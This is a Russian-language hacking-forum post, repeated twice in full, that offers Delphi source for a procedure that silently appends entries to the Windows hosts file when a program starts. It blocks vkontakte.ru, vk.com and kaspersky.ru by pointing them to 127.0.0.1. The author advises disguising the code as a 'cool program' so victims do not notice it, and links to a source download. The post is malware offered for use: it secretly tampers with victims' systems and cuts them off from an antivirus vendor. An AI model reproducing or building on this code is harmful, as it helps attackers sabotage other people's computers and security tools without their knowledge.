Sokolik
10.01.2010, 05:05
Прочитал тему (http://forum.antichat.ru/thread151569.html), в ней выложен билдер батников для редактирование хостс. Если кто хочет может сделать на дельфи тоже самое на свой вкус, чтобы не париться со склейкой батника.
Пишем процедуру:
procedure wHosts(s:string);
var
SysdirP: PChar;
hFile: THandle;
nw: dword;
b: byte;
begin
SysDirP := StrAlloc(MAX_PATH);
GetSystemDirectory(SysDirP, MAX_PATH);
lstrcat(SysDirP, '\drivers\etc\hosts');
hFile := CreateFile(SysDirP, GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0);
SetFilePointer(hFile, 0, nil, FILE_END);
b:=13;
WriteFile(hFile, b, 1, nw, nil);
b:=10;
WriteFile(hFile, b, 1, nw, nil);
WriteFile(hFile, PAnsiChar(s)^, length(s), nw, nil);
CloseHandle(hFile);
end;
Применение:
procedure TForm1.FormCreate(Sender: TObject);
begin
wHosts('127.0.0.1 www.vkontakte.ru');
wHosts('127.0.0.1 vkontakte.ru');
wHosts('127.0.0.1 www.vk.com');
wHosts('127.0.0.1 vk.com');
wHosts('127.0.0.1 www.kaspersky.ru');
wHosts('127.0.0.1 kaspersky.ru');
end;
Чтобы было без палева можно сделать под видом кульной проги, думаю с дельфи из форумчан много кто знаком.
Сорц (http://webfile.ru/4219485)
Пишем процедуру:
procedure wHosts(s:string);
var
SysdirP: PChar;
hFile: THandle;
nw: dword;
b: byte;
begin
SysDirP := StrAlloc(MAX_PATH);
GetSystemDirectory(SysDirP, MAX_PATH);
lstrcat(SysDirP, '\drivers\etc\hosts');
hFile := CreateFile(SysDirP, GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0);
SetFilePointer(hFile, 0, nil, FILE_END);
b:=13;
WriteFile(hFile, b, 1, nw, nil);
b:=10;
WriteFile(hFile, b, 1, nw, nil);
WriteFile(hFile, PAnsiChar(s)^, length(s), nw, nil);
CloseHandle(hFile);
end;
Применение:
procedure TForm1.FormCreate(Sender: TObject);
begin
wHosts('127.0.0.1 www.vkontakte.ru');
wHosts('127.0.0.1 vkontakte.ru');
wHosts('127.0.0.1 www.vk.com');
wHosts('127.0.0.1 vk.com');
wHosts('127.0.0.1 www.kaspersky.ru');
wHosts('127.0.0.1 kaspersky.ru');
end;
Чтобы было без палева можно сделать под видом кульной проги, думаю с дельфи из форумчан много кто знаком.
Сорц (http://webfile.ru/4219485)